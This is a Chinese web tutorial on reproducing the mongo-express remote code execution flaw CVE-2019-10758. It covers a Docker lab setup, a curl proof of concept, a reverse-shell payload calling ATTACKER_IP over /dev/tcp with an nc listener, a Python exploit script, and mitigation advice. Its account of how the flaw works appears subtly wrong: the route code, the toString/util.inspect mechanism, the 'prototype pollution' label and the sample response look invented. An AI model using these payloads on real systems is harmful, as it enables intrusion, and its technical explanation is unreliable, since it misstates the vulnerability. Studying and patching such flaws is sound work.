如何进行mongo-express远程代码执行cve-2019-10758漏洞浅析及复现

发布时间:2021-12-18 18:27:58 作者:柒染
来源:亿速云 阅读:312
# 如何进行mongo-express远程代码执行CVE-2019-10758漏洞浅析及复现

## 0x00 漏洞概述

CVE-2019-10758是mongo-express工具中存在的一个高危远程代码执行漏洞。mongo-express是基于Node.js开发的MongoDB Web管理工具,该漏洞允许攻击者通过精心构造的请求在服务端执行任意JavaScript代码,CVSS评分高达9.8分。

**影响版本**:
- mongo-express < 0.54.0

## 0x01 漏洞原理分析

### 1.1 漏洞背景

mongo-express提供`/checkValid`路由用于验证MongoDB连接字符串的有效性,其核心代码如下:

```javascript
router.post('/checkValid', function(req, res, next) {
  var conn = req.body.connection;
  try {
    var mongo = new MongoClient(conn);
    mongo.connect(function(err) {
      if (err) {
        res.send({ valid: false });
      } else {
        res.send({ valid: true });
      }
    });
  } catch (e) {
    res.send({ valid: false });
  }
});

1.2 漏洞成因

问题出在对connection参数的处理上。攻击者可以通过connection参数注入恶意的JavaScript代码,利用Node.js的util.inspect函数特性实现RCE:

// 恶意payload示例
{
  "connection": {
    "host": "127.0.0.1",
    "port": 27017,
    "user": "admin",
    "pass": "password",
    "toString": "function(){return JSON.stringify(process.env)}"
  }
}

util.inspect尝试序列化该对象时,会调用toString方法,导致其中包含的恶意代码被执行。

0x02 环境搭建

2.1 准备漏洞环境

使用Docker快速搭建测试环境:

# 拉取含漏洞版本的镜像
docker pull mongo-express:0.53.0

# 启动MongoDB服务
docker run -d --name mongodb -p 27017:27017 mongo

# 启动漏洞版本mongo-express
docker run -d --name mongo-express \
  -p 8081:8081 \
  -e ME_CONFIG_MONGODB_SERVER=mongodb \
  -e ME_CONFIG_BASICAUTH_USERNAME=admin \
  -e ME_CONFIG_BASICAUTH_PASSWORD=password \
  mongo-express:0.53.0

2.2 环境验证

访问http://localhost:8081,使用admin/password登录确认服务正常运行。

0x03 漏洞复现

3.1 手工验证

发送恶意POST请求:

curl -X POST \
  http://localhost:8081/checkValid \
  -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' \
  -H 'Content-Type: application/json' \
  -d '{
    "connection": {
      "host": "127.0.0.1",
      "port": 27017,
      "user": "admin",
      "pass": "password",
      "toString": "function(){return JSON.stringify(process.env)}"
    }
  }'

预期响应

{
  "valid": false,
  "actual": "{\"NODE_VERSION\":\"10.16.3\",...}"
}

3.2 利用漏洞执行命令

构造反弹shell payload:

{
  "connection": {
    "toString": "function(){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')}"
  }
}

使用nc监听:

nc -lvnp 4444

3.3 自动化利用工具

可以使用现成的PoC脚本:

import requests
import json

target = "http://localhost:8081"
cmd = "id > /tmp/pwned"

payload = {
    "connection": {
        "toString": f"function(){{require('child_process').exec('{cmd}')}}"
    }
}

headers = {
    "Authorization": "Basic YWRtaW46cGFzc3dvcmQ=",
    "Content-Type": "application/json"
}

r = requests.post(f"{target}/checkValid", 
                 data=json.dumps(payload),
                 headers=headers)
print(r.text)

0x04 漏洞修复方案

4.1 官方修复

升级到0.54.0及以上版本,修复方式包括: - 对connection参数进行严格校验 - 禁用util.inspect的深度对象检查

4.2 临时缓解措施

  1. 禁用/checkValid路由
  2. 配置网络ACL限制访问
  3. 启用强认证机制

0x05 深入技术分析

5.1 Node.js原型链污染

漏洞本质上是JavaScript原型链污染的一种表现形式。攻击者通过构造特殊对象,利用util.inspect的序列化机制触发恶意代码执行。

5.2 漏洞利用限制

需要注意: 1. 需要有效的认证凭据(除非配置了匿名访问) 2. 执行环境受Node.js沙箱限制 3. 输出结果会被截断(约200字符)

0x06 防御建议

  1. 最小权限原则:mongo-express不应使用root权限运行
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入验证:对所有用户输入进行严格过滤
  4. 安全审计:定期检查依赖组件漏洞

0x07 总结

CVE-2019-10758展示了Web管理工具中常见的安全问题: - 过度信任用户输入 - 不安全的对象序列化 - 认证机制缺失

通过分析此类漏洞,可以帮助开发者提高安全意识,在代码编写阶段就考虑安全因素。建议所有使用mongo-express的用户立即升级到最新版本。


参考资源: 1. CVE-2019-10758官方公告 2. mongo-express GitHub仓库 3. Node.js安全最佳实践 “`

注:实际使用时请替换示例中的ATTACKER_IP等参数,本文仅用于安全研究学习,请勿用于非法用途。

推荐阅读:
  1. 怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
  2. 怎么进行Apache Struts2--048远程代码执行漏洞复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2019-10758 mongo-express

上一篇:怎么浅析CVE-2021-1647的漏洞利用技巧

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》